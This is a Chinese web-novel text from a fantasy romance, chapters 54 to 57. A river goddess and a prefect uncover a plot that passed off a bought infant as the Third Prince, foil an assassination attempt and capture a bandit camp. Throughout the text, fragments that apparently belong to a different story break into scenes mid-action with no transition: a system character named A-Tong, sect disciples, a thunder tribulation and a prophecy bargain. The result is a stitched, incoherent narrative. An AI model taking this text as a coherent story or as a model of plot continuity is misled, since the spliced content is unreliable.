两人出了芙蓉镇,入了马车之后,元吉立刻就道:“我得先说,说完了你再问,否则我就要忘了。” “你说。” “我记得我是在一片林子日见到季老板的,至少有二十年前,他与一名男人正在做交易,一手交钱一手交货。”元吉皱着眉,仔细想了想那些逐渐模糊的场景:“季老板的怀里拿着一个包裹似的东西,有水声,还有蝉鸣声,还有一道声音……是小孩儿的哭声。” “小孩儿的哭声?”祁琰心中怔怔,这事儿恐怕真没想象中那么简单了。 “是!一定有小孩儿的哭声!季老板当年卖了个孩子!”元吉说完,眼白都泛红了。 她头疼的厉害,喘息越来越严重,好像下一秒就要晕过去一样。 祁琰伸手揉了揉她的额头:“好了,别想了。” 元吉将头抱起来,深吸几口气,让那记忆在自己的脑中逐渐平息,然后一点一点地散去,唯有将那些都忘了,她才能感觉自己好受些。 祁琰轻轻搂住了她的肩膀,一只手在她的背后柔顺的抚过,轻声道:“好了,好了。” 内院之中,元吉坐在上侧瞧着底下的吴千巳淡淡开口,“你要交易什么?” “一个预言。”吴千巳从艰难说出句话来,浓郁的铁锈味在口中弥漫,“放我们走。” 元吉懒懒地靠在身后的木倚上,下颌微抬,一道轻笑声从她喉间发出。 夜文术在一旁顿时小声嘀咕起来,“我的个祖宗诶,你们把我们院子毁了就用一个消息抵?那我还知道不少消息呢!” 吴千巳想到院中的废墟,立马明白这是杜修远那个蠢货干得好事。又想到自己与他童年丑事被抖落出来,顿时他脸颊抽搐一番,咬牙切齿道: “再加一箱上品灵石。” “……” “两箱!” “……” “三箱!” “可。” 话音刚落,夜文术便在一旁鼓起掌来为他庆贺,奈何这掌声和一声声“大气”在此时显得有些落井下石了些。 吴千巳心中滴血,他咬紧了后槽牙,发誓等出去后他定要杜修远好看。 “河神大人,这个预言便是——” “一月后,正道的未来会陨落。” 而众所皆知,正道的未来指的是天极宗祁琰。 第 54 章 第五十四章 第五十四章 陨落。 在听到这个词的那一刻,元吉悬在玉简上的指尖停顿一瞬。一声悲怆的龙吟从她脑海中响起,像是来自灵魂深处的呼唤,引得元吉一时心悸。 莹润的指尖缓缓落在玉简之上,温热的触感将元吉的思绪拉回。她回过神来,再抬眸时眼底已恢复了平静。 陈县令与那人贩子一同顺着山匪头子的目光瞧过来。 只见大堂唯有放着睡莲的缸,什么也没有,两人同时摸不着头脑地朝山匪头子瞧去。 陈县令尴尬地笑了笑:“夏将军,这……你瞧见什么了?” 山匪头子的目光在缸的周围打量了一圈,总觉得奇怪,又将头伸到水面去瞧,清清的水下只有几根睡莲的根茎,什么也没有。 他微微眯起双眼,道:“这事儿就这么定了,今夜那知府的脑袋便要给我们弟兄下酒。” “可是夏将军,那知府是祁家的少爷,这祁家……别说整个吴州了,就哪怕是京城也没人能得罪的起,杀了祁少爷,会不会太……”陈县令始终觉得这事儿不妥。 上面还没给他们消息,如何决断也不能完全听这个夏将军的,此人毕竟在山中待了二十余年,虽说叫一声将军,但实际上并不在朝中任有官职,他此事若办得鲁莽,上头要问罪的可是自己啊。 “祁家不过是商人起家,朝中并无势力,这祁少爷而今不也被贬到吴州来了吗?此事你不用担心,我会做得神不知鬼不觉。” 此话一出,外头顿时一道雷电劈下,方停的雨,这回又开始下了起来,且雨势很大。 山匪头子看了一眼院中落下的雨,对陈县令道:“我不便久留,此番本来是想问你上头有无回复的,不过见你这个样子也知道信件没那么快送回来,如若上头有吩咐,你需得第一时间告诉我。” 陈县令连忙点头。 “你就留这儿了,我从后门走,不必相送。”山匪头子伸手拍了拍人贩子的肩膀,然后从方才过来的方向,绕到了县令府的后门,准备回舟山。 元吉还在缸中,看见外面下了雨,隐去了身体,慢慢融入雨中,这才算是逃过了一劫。 不过她方才听到的话可是有力的证据,回去之后定要告诉祁琰,让他早有准备。 元吉回到客栈之后,一天的时间也耽误不少了,祁琰知道她不在客栈,就肯定是去找土地神了,也不知道回来之后是不是又性情大变,土地神有没有给她灌输些什么乱七八糟的思想。 今日外面下了大雨,祁琰半点儿出去玩儿的心思也没有,就缩在房间里看书,还有一些近些年来吴州发生的事迹,好在里面找关于三皇子的蛛丝马迹。 祁琰刚举起手捂着嘴打了个哈欠,元吉就推门而入了。 护卫甲、乙跟在了她身后一同进来,四个人留了两个在外面守着。 祁琰一见元吉的表情,就知道有事情发生,他问:“怎么了?” 元吉给自己倒了杯茶,先喝了口茶,才说:“我今天见到舟山南侧的山匪了。” “就是你说的那个?” 元吉点头:“我想起了一些事情,土地神告诉我,他或许就是当年杀了我的凶手。” 祁琰见元吉说这话说的面不红心不跳,顿时朝站在她身后的两名护卫瞧过去。 他忍不住伸手用书盖在自己的脸上,护卫甲与护卫乙纷纷是:“???” 什么?什么土地神?什么杀死她的凶手? 两人往后都退了一步,睁圆了眼睛看向对方,然后打量着元吉。 元吉一愣,才察觉不对劲,回头看见两个护卫,她都不知道这两人怎么跟进来的,不是应该和其余两个一起站在外面吗? 祁琰怎么也不说一声? 元吉指着祁琰:“你……” 祁琰半垂着头,拿起书对着护卫甲、乙二人挥了挥手,两人立刻心领神会,转身就走出了房间,关上房门后,两人深深地吸了一口气。 护卫丙:“怎么了?” 护卫丁:“挨骂了?” 护卫甲、乙:“……咱们夫人好像不一般啊。” 房内,祁琰单手捂着嘴像是想笑的样子,无奈地摇了摇头后,对着元吉道:“所以,那人曾经杀了你?你才当上河神的?” “应当是,因为我瞧见他的时候,总觉得有人在掐我的脖子,还看到了一些画面,总之是我死前的画面。”元吉说完,眉心皱了起来:“你想笑就笑,藏着掖着做什么?” 祁琰深吸一口气,抿嘴:“我不笑,如此严肃的事怎么能笑呢。” 元吉一时有些无语,知道他笑什么,无非是自己的身份又无意间暴露了,谁让她回来满脑子都是关于在县令府听到的话,根本没在意那两人是不是跟进来了。 想到了县令府,元吉又道:“我跟着那山匪去了县令府。” “哦?他去了县令府?”祁琰这才正经了起来,挑眉问:“所以他和陈县令的关系的确不一般。” “何止不一般,简直是被你猜中了才是。”元吉道:“我去的时候,他们还没到,到了之后陈县令竟然给那山匪鞠躬,喊他一声夏将军,那山匪似乎地位挺高的样子,两人一番交谈,没少提‘上面’二字,恐怕真的与三皇子脱不了关系。” “夏将军……嘶,小河神,这回你可给我立了一个大功了。”祁琰说完,立刻站了起来,走到了桌案边拿起纸笔便要写信。 元吉没敢打扰他,等他写完了之后,才好奇的问:“所以果然有问题吗?” “何止是有问题,我甚至理清了事情的关键,如若此事是真的,朝中的变化将要翻天覆地。”祁琰说完,边推开了房门,对着护卫甲耳语了几句,将信件交给了对方:“务必要你亲自送到。” “是!”护卫甲将信件藏在了怀中,连东西也没收拾,带了点儿银钱便出发了。 元吉突然想起来一件事,又说:“对了,我听那个夏将军说,今晚要找人行刺你。” 祁琰的双手背在身后,轻轻地笑了声:“这样,那我就来个瓮中捉鳖。” 元吉给祁琰通风报信,说了不少有用的消息,祁琰得知晚上会有人过来行刺自己,于是也已经让人回去传话,给知府府衙里的人带个信,别整天就知道好吃懒做装大人,也得有些实质性的举动了。 当天夜里,元吉和祁琰就坐在房间内,谁也没睡,房内点着灯火,等着知府府衙那边的消息传过来。 这晚下着大雨,窗户外面的风声呼啸,仿佛深夜里的鬼泣,让人心中发毛。 元吉看向手中拿着书正对着灯火细看的祁琰,他的脸色有些不好,昏黄的烛火照在他的脸上让他看上去更加苍白。 元吉注意到了他额头上起的汗水,知道他的身体恐怕不太好受,心口的伤口或许已经裂开,只不过是长年累月下来,已经习惯忍耐罢了。 祁琰突然伸手捂着嘴咳嗽了一声,吸了吸鼻子,放下书走到床边抱了张被子过来,将自己裹在被子里,然后对着灯继续看书。 元吉瞧他当真是怕冷的样子,突然回想起小时候他并不是这样的。 十五六岁时期的祁琰,身体健壮得很,大冬天里就穿两件衣服在雪地里跑,跑到河边河岸上都结冰了,他还能脱了鞋子站在河里要抓鱼。 后来当然是给祁家的人带回去了,生怕小少爷冻坏了。 元吉轻声问了句:“你是冷,还是疼啊?” 祁琰轻轻咳嗽了一声道:“已经习惯了,说不上是哪种感觉,总之跟临死前所感受的差不多吧,明日就好了。” 元吉心中涌上了一阵酸涩,她说:“我让人给你点个暖炉吧。” “若是有用,我怎么会不用呢,我又不差这个钱。”祁琰朝她瞥去一眼,笑了笑,随后放下了书,稍微打开了一点儿被子对元吉道:“过来。” 元吉:“……我不好过去吧,孤男寡女共处一室本来就……” 话还没说完,看见祁琰那副表情,她就知道自己不好再说下去,于是端着板凳凑过去了点儿,嘴里还嘀咕:“我就过来一点点哈。” 祁琰白了她一眼,伸出手拽着元吉就把她抱在了怀里,给两人裹上了被子之后,一只手从元吉的肩膀搂过来,又拿起了那本书继续看:“你别动啊,闹得我疼了我和你没完。” 元吉有些尴尬:“你怎么这么无赖呢。” 祁琰嗤地一声笑出来:“你才知道我无赖吗?” “按理来说你也算是饱读诗书了,如何性格养的这么差,也不知道祁老爷与祁夫人如何能受得了你的。” 祁琰稍微侧了点儿脸,朝元吉瞧去:“你能受得了我吗?” 元吉叹了口气:“受不了又如何,还不照样受着了。” 祁琰呵呵地笑了出来:“是了,他们也应当和你想的一样。” 元吉白了他一眼,觉着无聊,于是就跟着一起看书。 祁琰看着的书元吉看不懂,甚至还有些字是她不认识的,看得时间久了就犯困。 屋外的雨还在倾盆,一袭黑影快速地在街道上跑过,一路来到了客栈。 客栈的门已经关上了,护卫乙与护卫丙都在屋子里等着,二楼的窗沿传来了三长两短的敲打声,两人便将窗户打开,护卫丁浑身湿透,将脸上的面纱摘下。 三人立刻朝隔壁走过去,敲了敲房门后,听见了祁琰的一声:“进。” 护卫丁对祁琰拱手:“恭喜大人,此番来了二十二名山匪行刺,两名已死,二十名活捉。” 元吉声音不大,却字字直击阿统内心,一股莫名的感动翻涌上心头。阿统哽咽一声,“元吉。” 阿统话音一转,担忧道:“可是祁琰怎么办。若是这预言成真,那这剧情便彻底崩坏了,到时候这个世界怕是要消亡。” 谁知元吉轻笑一声,一脸淡然道。 “这预言不可能成真。” “只要我在,他便不会魂飞魄散。” 第 55 章 第五十五章 第五十五章 空气兀得静了下来,就连张扬的食人草都察觉到一股怪异的气氛,锋利的叶片“咔咔”两下,似是在无声震慑着什么。 宣长生低头看了眼夹在两指之间的竹笔,漫不经心地将竹笔在掌心转了转,势如破竹剑意如同困兽般被牢牢困于其中,无人发觉。 李守财请祁琰去百宴楼吃饭,祁琰当然不会拒绝,当晚便和元吉二人整装待发,坐着小马车直到百宴楼。 祁琰来到城中的短短时间,百宴楼老板都觉得自己的生意好了起来,光是这位姓元的老板过来,一个月吃一趟,都能让他赚够本。 小马车停在百宴楼前面的时候,老板是站在门口亲自迎的,光看那前后左右四个护卫也知道马车里的人是谁。便让手下给人将车帘掀起来,扶着元老板元夫人下车。 祁琰在来时的马车上就已经把该交代的都告诉元吉了,入了百宴楼上了二楼后,两人便开始表演恩爱夫妻。 李守财定的雅间还是上次那个,护卫甲路过的时候特地朝隔壁那间看去,并没有看到有徐县令的影子,这才抿嘴笑了笑。 “哟,元老板来了,元老板快坐!”李守财起身招呼。 李夫人也第一时间握住了元吉的手,笑着道:“妹妹快坐这边,我们说说话。” 饭菜上桌,一行人吃了顿饭后,李守财便邀请祁琰沿街走一走,实际上是为了更方便谈话。 祁琰心领神会,不动声色,化被动为主动,就等着李守财开口问他。 果然,李守财没走多远便忍不住了,问:“我回家夫人都与我说了,看来元老板也有意与我一同做这笔买卖,只是不知道,元老板如何知晓这些消息的?” 祁琰道:“朝中的大人物朋友,我是没有,但我元家擅长从底层入手,要探消息何须问知府府上的官兵,问厨娘,问丫鬟,这些人说出来的虽说不可尽信,但多半也错不了。” 李守财对祁琰拱了拱手:“元老板高见,我之前与徐县令一直都有些来往,但也只是点头之交,我无意与官府作对,但而今这麻烦主动找上了我,我却不知如何是好。我有心与元老板一起赚钱,却怕自己撑不到那个时候咯。” 祁琰问:“出了何事?” 李守财顿了顿,凑到他跟前:“你可知今早有一队官兵围住了县令府?” 祁琰点头:“略有耳闻,我原以为是知府要问罪,却没想到只是拿了些无关紧要的东西。” 李守财摇了摇头:“哪儿是无关紧要的东西,怕是真正有用的没搜到,才离开的。” 祁琰挺直了腰背,单手背在身后,神色不变:“那倒是有什么有用的东西?莫不成徐县令真的勾结了山匪?” 李守财张口就要说出来,舌头打了结似的,支支吾吾了几番,还是没将账册的事说出来。 不过李守财没说,李夫人却没忍住,元吉这番与她又说了几次之前和祁琰在别的地方赚钱的事儿,李夫人心下焦急,脑子里想着赚钱与账册,于是一股脑将今日发生的事都交代了。 元吉拉着李夫人的袖子,歪着头有些惊奇:“账册?什么账册?” 李夫人拍了拍元吉的手:“妹妹,这可是关乎我身家性命的事儿,我与你说,你可千万不能往别处说。” 元吉啧了一声:“唉,你说与我听我还要帮你想着解决麻烦呢,怎么会害你?” 李夫人叹了口气:“还不是我家老爷与那徐县令有过一些来往,这徐县令如今果真如你所说被知府查办,知府之所以什么也没查到,就是因为他与山匪来往的账册,都交给了我家老爷。” 元吉眸子一亮,装作很惊讶的样子,心里却连连点头,是了是了,就是这个了。 “那这东西可是烫手山芋,知府没有真凭实据怎么会随意派兵,来一次肯定还有第二次,你们拿着这账册,如若查到你们头上可怎么办?”元吉推搡她。 李夫人急着直皱眉:“我也是这样想的,难道要我们还回去?” “怎么能还回去?还回去还是留有证据,我就问姐姐一句真话,李家当真只与徐县令有关系,与那山匪无联系吗?”元吉这话问出来,李夫人顿时一愣。 就算李夫人不说,元吉也都猜到了,她不捅破,直接说:“如若有关系,可千万要摈除自己的关系,如若没关系,我教姐姐一个法子,主动把这账册交给知府。” 李夫人一愣:“交给知府?这不就是明摆着告诉知府我们与徐县令有关系吗?” 元吉摇头:“并不是要你们以李家的名义将其交给知府,你想想城另一边,一直与李家齐名的贾家。” 李夫人顿了顿,仔细思虑了一下,顿时朝元吉瞧去:“你让我假冒贾家,将账册交给知府?” 元吉点头:“既然徐县令已经有难,却不告诉你们,反而还想让你们背锅,那你们肯定也不能任由他宰割。不瞒你说,我夫君也查过,贾家暗地抢走了不少李家的生意,你便差一人,以贾家名义将账册交给知府,不说里面是什么,给了就走,绝对查不到你头上。” 李夫人伸手拍了拍心口,再朝元吉瞧去,突然觉得眼前这女子分外精明,自己做生意这么多年,却是怎么也比不上的。 “妹妹当真是冰雪聪明。” 元吉谦虚地笑了笑,哪儿是她冰雪聪明,来前祁琰就说了,李守财为人小心谨慎,未必会说出什么,要找突破便从他的夫人下手,他夫人已经信了元吉一次,再信第二次就容易多了。 她不过是按照祁琰给她分化好的几条可能发展的路,选了一条最相近的说,结果就真的说中了。 几人走到了月老庙跟前,李夫人也听了方才的话题,拉着元吉的手问:“妹妹可知道这许愿树很灵?” 她眨了眨眼睛摇头:“不知,不过刚来这里的时候,夫君带我来过。” 李夫人羡慕地看向她:“那可真好,我家老爷以前也带我来过这儿,可是近些年都不知道这些东西了,人年纪一大,便不如往常般细心。” 元吉扯了扯嘴角,祁琰哪儿是细心啊,那完全是自己和四个手下想玩儿,跟那卖红绸子的要了二十多根全都挂在树顶上了,她现在抬头往树顶上看,都能看到一根纤弱的枝丫上栓了好多红绸子呢。 李夫人笑了笑:“以往我家老爷还会在这上面题诗呢。” 元吉听见这话突然想起了什么,她记得之前祁琰在红绸子上写过一句话,准确来说像是半句,她不知道什么意思,祁琰说是哥俩好的意思,也不知道对不对。 李夫人看上去像是读过书的,于是元吉问她:“姐姐可知道换我心,为你心是何意?” 月老庙跟前人来人往,大多都是男男女女成双结对,而今天色已经暗了,华灯初上,月老庙跟前的红灯笼将这一处照得通明。 李夫人在听见元吉这句话的时候,脸颊稍微红了些,眉眼弯弯问:“是元老板与你说的?” 元吉点头。 李夫人道:“这只是半句,换我心,为你心,始知相忆深。意思便是如果把我的心换给你,成了你的心时,你方才能知道我对你的相思爱意有多浓多深。元老板好情调啊。” 元吉扬起的嘴角慢慢僵硬,忍不住回头看了一眼还在与李守财周旋的祁琰。 不知道为何,她就这么看过去,祁琰立刻便察觉了视线也看过来,话正说到一半也没继续,与元吉对上视线的时候缓缓笑了一下。 元吉立刻收回了目光,胸腔仿佛打鼓一般砰砰直跳,站在旁边的李夫人瞧两人这样,笑着说:“元老板可真爱妹妹。” 元吉转身:“怎么会……”三个字刚出口,她才想起来自己的处境,方才祁琰那一笑恐怕也只是做戏,于是接着说:“怎么会不爱,毕竟我与他青梅竹马。” “哎?那有个求签的!”李夫人拉着元吉的手往前跑了几步。 祁琰和李守财便停在了许愿树下继续聊天,不过祁琰没忘了元吉,给了护卫丁一个眼神,护卫丁便跟了过去。 元吉跟着李夫人一路走到了月老庙的门前,门前除了一些面具字画之类,还有个老头儿坐在一个四方木桌前摆摊求签问卦,身上穿着红色的长袍,银白的发丝梳得整整齐齐。 老头儿看见了李夫人,便笑:“夫人来求签?” “姻缘我与我家妹妹都已经找到了,就问你这儿可能求别的?” 老头儿捋了捋胡须道:“这是月老庙,求不了别的,我见夫人已经成亲数年,倒是可以为夫人算算接下来姻缘运数。” 元吉看着老头儿嘶了一口气,总觉得有些眼熟,那老头儿笑着将脸迎向她时,两人同时瞪大了眼睛。 元吉伸手指向他:“月老?” 老头儿点头:“是!我是这月老庙的解签师。” 元吉顿了顿,伸手揉了揉眼睛,看见这老头儿有四只手,两个脑袋,一个实体,一个虚影。 实体正在给李夫人解签,虚影的双手上一团乱糟糟的红线,他正埋头理着红线,偶尔抬起头瞪了元吉一眼。 元吉委屈,又不是她把月老的红线给弄乱的。 “哎呀,奇了,妹妹也来算算!”李夫人拉了元吉一把。 他这幅模样,引得黄黎心下咋舌,“真不愧是大师兄,如此沉着,是自己心不定了。” 黄黎有些悻悻地握紧了手中的剑柄,突然一阵灵力的波动,她惊喜扭头:“大师兄,师姐要突破了!” 话音未落,河神庙上兀得聚集起大片的乌云,黑压压地朝小庙砸来。厚重云幕中,青紫色的电光闪烁,叫人喘不上气来。 祁琰神色微暗,一旁的宣长生也狐疑地瞧了眼上方的云层,里头的凝重都快凝成实质了。 这云不对劲! 第 56 章 第五十六章 第五十六章 云层越积越厚,黑压压地朝河神庙压来,似是要将这一切都碾碎一般。 突然,洛秋水的身侧,她的配剑悬在半空,发出嗡嗡的剑鸣声,听得人顿时周身一颤。 众人脸色一变,下意识从怀中掏出各种能暂时隔绝天雷踪迹的法器以备不时之需。 可雷云却并未消散,青紫色的电光将炸亮了半片天空,巨大的雷声震荡下,无数的碎石滚落山崖。一时间,群鸟惊飞。 祁琰与元吉回到了房间,护卫乙还有点儿小尴尬,看着元吉的眼神有些不对劲。 元吉察觉到了对方的视线,抬起头来对着护卫乙一笑,护卫乙立刻转过身去,拉着剩下的两个人就走。 护卫丙与护卫丁表示他们并不想出房间好吗?他们想知道阿甲说了什么! 护卫乙用眼神瞪了回去:你们两个蠢货知道什么?夫人非凡人啊! 三人走后,元吉从袖子里拿出了那封信交给祁琰。 信件很小,大约只有手指的长度,祁琰展开看,上面全是蝇头小字,看了一遍下来,他慢慢地松了口气。 元吉问他:“怎么了?” “当真是出问题了。”祁琰道:“这舟山南侧的山匪并非普通人,的确是当初在朝为官的夏将军没错,而这个陈县令,二十余年前也是京城的侍郎。” “都是京城来的?”元吉皱眉。 祁琰道:“这事情太久远了,证据非常难找,除非能将夏将军活捉,或者找到他们与三皇子那边通信的证据。” “与三皇子果然脱不了关系吗?” “何止脱不了关系?这就是一个计划了二十多年的阴谋。”祁琰朝元吉瞧去:“而你,正是这场阴谋中意外卷入的牺牲品。” 元吉顿时愣住了,她看向祁琰,没能理解他这句话的意思,抿了抿嘴,问:“你知道我是怎么死的?” “不难猜出。” “什么叫不难猜出?我……就连我自己都不知道我自己是怎么死的。”元吉慢慢垂下头:“我以前还以为我是天生的河神呢,后来才知道原来我也当过凡人,那些记忆我统统想不起来,刚记起一点就忘了,如果一开始不知道便好,既然知道了,我自然想了解我究竟是为何丢掉性命的。” 祁琰抬起手轻轻地将她的脸拖了起来,他看着元吉那双眼睛,认真道:“如何死的又有何关系?反正不论如何,你现在好好的就行了。” 元吉一愣:“你方才说你猜到了……那,你能与我说说吗?” 祁琰朝她靠近了些,道:“方才信中给了我几个信息,终于将我脑海中片段的猜测给连在了一起,这事儿还得从二十多年前朝中的势力说起。三皇子的生母是贵妃,贵妃之父又是朝中大臣,只可惜贵妃七年无所出,眼看在宫中地位就要不保,结果贵妃却怀孕了。” “当时贵妃父亲手下陈县令与你说的那个夏将军都在,但在贵妃生下三皇子之后,这两人一个因为出了小差错,被贬到了吴州,一个是彻底人间蒸发,了无音讯。”祁琰朝元吉瞧去:“上次你说你见到季老板时脑海中听到了小孩儿的啼哭声,我现在便告诉你,那个小孩儿就是当朝的三皇子。” “什么?”元吉睁圆了眼睛:“三皇子不是皇上所生?” “而今的三皇子非但没有半分皇族血脉,甚至还是吴州穷苦人家的弃婴。”祁琰道:“当年季老板在县令身边办差,做过几趟这种贩卖孩童的勾当,有的富贵人家想声儿子偏偏没有,干脆就在外买一个,季老板便是中间人。” “难怪当时我瞧见他,他怀里抱着婴儿,对另一个人说一手交钱一手交货,原来就是要将婴儿卖到京中?”元吉微微皱眉:“竟然跑到吴州来了。” “吴州与京城相隔千里,反而好掩人耳目。”祁琰道:“只是他们会算计啊,怕事情走漏,收买了季老板,让他成了当地富贾,而那个夏将军,利用山匪的名声掩人耳目,便在这里安营扎寨,养了几千精兵为三皇子所用。” 元吉细细想来,只觉得头皮发麻,如果朝中人的算计当真如此,那祁琰此番回到吴州却是正确的选择,在那样一个所有人都在筹谋计划的地方,搞不好自己怎么死的都不知道。 “我猜,应当是那日你撞见了季老板与夏将军两人买卖了小孩儿,又被他们发现,这才会被杀人灭口。”祁琰说完,朝元吉看去。 元吉顿了顿,她现在回忆不出一丁点儿东西,但她的死因,恐怕真的如祁琰说的这般。 “现在知道自己为何死的了,如何?想起了什么吗?”祁琰问她。 元吉摇了摇头:“原以为大概会有些震惊,但是我当河神太久了,比当人还久,所以……没什么感觉。” 祁琰轻轻笑了出来:“这样也挺好的,你没那么繁重的心思,活得倒是很轻松,老土地也算是干了件好事,至少把你教的非常可爱。” 元吉扁着嘴瞥祁琰,祁琰看了看她的嘴,开口问:“做什么?要我亲你呀?” 元吉:“……” 祁琰笑了笑:“等鹿蜂寨的事情解决了之后,咱们就回去吧。” “回哪儿?”元吉一愣。 祁琰道:“你当元夫人当上瘾了吗?我自然是回知府府衙,至于你……你若想与我一同回去,我也不介意,但是如果你没想好,想要回到河里,我也不反对。” 元吉对他吐了吐舌头:“你也没有反对的权利!” 她刚说完这句话,祁琰便倾身过来吻住了她,元吉睁圆了眼睛,睫毛颤了颤,她抬起的手本来打算推开对方,却在空中僵住不动。 祁琰拉着她的手,慢慢放在了自己的腰间,唇齿相依,他伸出舌头,撬开了元吉的嘴唇。 元吉往后缩了多少,祁琰便往她那边压去多少,直至元吉实在没办法再退了,只能闭着眼睛任由他的举动。 祁琰搂着她的腰,这一吻的时间稍有些长,房间里安静了好久,桌上的信纸被窗外刮进来的风吹落在地。 祁琰松开元吉的时候,元吉的脸通红,耳朵仿佛能滴血似的,一双大眼睛一直看着桌子一角,都不敢瞥祁琰一根手指头。 祁琰侧过脸看着她,瞧见了她连额头都是通红的,扑哧一声笑了出来:“做什么?又不是第一次亲了,你怎么还这么害羞?” 元吉连忙抬起手挥舞着要赶走他:“哎呀哎呀,你乱说什么呢,离我远些!” 祁琰觉得有趣,还想再调戏,突然听见门外的人说:“大人,鹿蜂寨已经到达地点了。” “很好,除了一开始送上山的两车兵器,其他的都是灌了泥沙的,抗不过三下,这么些天我让你们养精蓄锐,可别给我出差错了。” “是!” 来者走后,祁琰才伸手搭着元吉的肩膀道:“鹿蜂寨被拿下后,咱们就回去了,然后再让关在牢里的徐县令指正李守财,这边的人就算是都清干净了。” “那……三皇子的人你当如何?”元吉问他。 祁琰笑道:“三皇子的人我如何能动?” “你不打算管了?”元吉瞧向他。 祁琰道:“自然是要管的,不过也得大皇子给吩咐才行,只要找到了证据,这些人不用我亲自动手,只要三皇子在朝中倒台,他们自然不成气候。” 元吉哦了一声。 祁琰搂着她晃了晃:“所以,你是回河里还是跟我一同去府衙?” 元吉睁大了眼睛:“我……我自然是回河里。” 祁琰长长地哦了一声:“占了我的便宜就想这么不认账不负责了是吧?” 元吉连忙抬起头瞪他一眼:“谁谁谁占你便宜了!分明是你你……你!” 祁琰道:“那我负责啊,你嫁我吧。” 元吉一瞬愣住了,这没来由的一句话说的太过轻飘飘,仿佛玩笑一般,祁琰那张脸还带着笑意,半分认真的意思都没有。 元吉却听得心脏狂跳,脑子里已经在认真考虑一个神仙嫁个凡人之后的后果了,反正土地神肯定是不会同意的,到时候又是一番啰嗦。 “你……你别乱说话了,我回房间去了,你这个人,嘴里说出来的没一句能信!”元吉连忙推开他,收回了视线,压制住心中的躁动,连忙打开了房门就出去。 护卫丁见元吉出来,笑着问:“夫人在里头说什么呐?” 元吉推开护卫丁:“问你家大人去。” 护卫丁:“……” 房门正好是开着的,护卫丁伸了半个脑袋进去,笑嘻嘻地问祁琰:“大人在里面说什么呐?” 原以为会是护卫甲的传信,却没想到祁少爷两只脚高架在桌子上,靠着椅子一派悠闲,脑子里还是方才元吉脸红心跳的模样,这一吻当真是值得。 他道:“说婚事呢。” 隔壁传来一声:“什么婚事啊!你别乱说话!” 护卫乙、护卫丙、护卫丁三对视线来回看了一圈,了然地耸了耸肩,好了,这未来的夫人算是彻底定下来了,就这个了,准这个了,没跑。 这一个下午,祁琰一直都在等山中的消息。 几千个精兵这几日都在了解地形,并且布置机关,就等鹿蜂寨的人来。 祁琰让其中一半的人假装南侧的山匪,穿着兽皮的衣服与自己人对抗,鹿蜂寨探路的人表示双方各有损失,且看人数,起码去了一半。 凉寨主在暗处又等了半个时辰,这才举起大刀,让人冲过去。 与此同时,安插在凉寨主周围的官兵也立刻报信回去,让人做好准备。 凉寨主骑着马在山间冲入人群的时候,也已经料到了那官兵与南侧的山匪会一起打向自己,不过这些人都已经筋疲力尽,他又有神兵利器在手,根本不成问题。 只是凉寨主过于自信,他手中的大刀没问题,但是许多兄弟手中的刀剑却是残次品,稍微一用力便被折断,还在马上的凉寨主满脸震惊:“怎么回事?!这刀剑莫非有问题?!” 手下人道:“寨主!当真有问题,里面灌了泥沙,不堪一击啊!” 凉寨主坐在马上仰头咬牙切齿大喊:“这姓元的骗我!撤!” 没有兵器的山匪即便多于对方双倍的人数,也无法与对方匹敌。 却没想到,就在凉寨主准备撤离的时候,身后却突然想起了吼啸声。 那些看上去已经筋疲力尽的官兵却依旧能打,而他也不知何时到了一个山凹处,这里地形于他不利,山峰周围全都是骑着骏马手拿弓箭的官兵。 弓箭拉满,前来的鹿蜂寨的人,包括凉寨主都被困在其中。 装作山匪的官兵纷纷退到了两旁。 凉寨主坐在马上,看着自己已经被困,再无逃跑的可能,而他手下,唯有几人的手中尚还握有兵器,能够稍微抵挡,其余的人都无还击之力。 鼎丰客栈内,有人匆匆上了楼与护卫丙说了几句话,护卫丙脸上立刻扬起了笑意,回头道:“大人!成了!我方死伤二十余人,但鹿蜂寨包括凉寨主在内,悉数被拿。” 祁琰慢慢合上了书,深吸一口气,很好,不枉他花那么多钱,这回总算是赚回来了。 众人木然点头,半晌后才猛得回神。 等等! 河神大人她要去做什么? 抓雷云?回来? 众人顿时面露惊恐,“河神大人请冷静啊!” 然众人内心的惊恐元吉并未听到,待她停下脚步后,便在雷云中发现了一个熟悉的身形。 第 57 章 第五十七章 第五十七章 元吉一脚踏破云层,将藏在雷云中几条尚未成型的雷蛇踩在脚下。 阿统瞧着那噼里啪啦滋着电光不住挣扎,全然没了骇人气势的雷蛇,莫名觉得有些背疼,“元吉……这不好吧。” 这应雷劫而生的雷蛇,就这样被踩在脚下,未免不太尊重了些。 元吉闻言视线在这雷蛇上顿了顿,若有所思地点了点头,她喃喃一声。 蜂寨被剿了,两千多人的寨子,一下子空了大半,凉寨主被捉之后,祁琰并没有让人带着他们□□以告民众,而是直接关押在了城外的宅子里。 他们身上都带着锁链,兵器被剿,每天只能吃一餐饭,手足无力,不能逃跑。 祁琰只留下一小半的人作为看守,剩下的那些人都杀入了鹿蜂寨的老巢,将剩下的几百人悉数捉回,能活捉就活捉,不能的当场便杀了。 在凉寨主被俘之后,祁琰有考虑要不要过去给对方一个惊喜,后来想想还是算了,都已经骗了人家了,再过去落井下石也不好。 元吉得知祁琰的想法后,还一副惊讶的脸看向他:“真瞧不出来,你可从来都是落井下石的人。” 祁琰当时展开了折扇,抿嘴摸了摸下巴仔细想想:“好像也是。” 两人说这话的时候,已经是带着护卫三人一同走在离开这座城池,通往回去的路上了。 护卫乙正在赶车,护卫丙与护卫丁坐在马上打了个哈欠,看着头顶火热的太阳,算了算时间,对着马车道:“大人,咱们来吴州也有几个月了。” 祁琰掀开车帘吹了会儿风,也的确察觉了这个天气的热度。 他刚回来的时候,吴州的天气还很冷,有些地方的积雪未化,河里的水都是冰凉的,说出话来冒白烟儿。不知不觉时间也过去了,几个月下来,天气越来越热,他扇子不离手,衣服也越穿越少了。 想到这里,祁琰回头看了一眼元吉。 元吉单手撑着下巴不知道在想什么,她的罗裙很薄,腰间的腰带细细一道,刚好将她的纤腰勾勒了出来。 祁琰挑眉,心想天热也不是没有好处的,小河神穿的就很凉爽嘛。 此番回去的路途稍微有些远,马车直至日落西山了才到城门口,就差一步城门便关了。 祁琰入城之后直接往府衙而去,马车停在了府衙门口,护卫乙下了车,掀开车帘扶着祁琰与元吉下来。 祁琰刚从马车里出来,一直站在府衙门口的管家就连忙走过来,脸上带着笑意:“少爷回来啦!” 祁琰嗯了一声,管家又道:“少爷路上累不累?热水已经备好了,饭菜也都布上桌,少爷是先用饭还是先沐浴啊?” 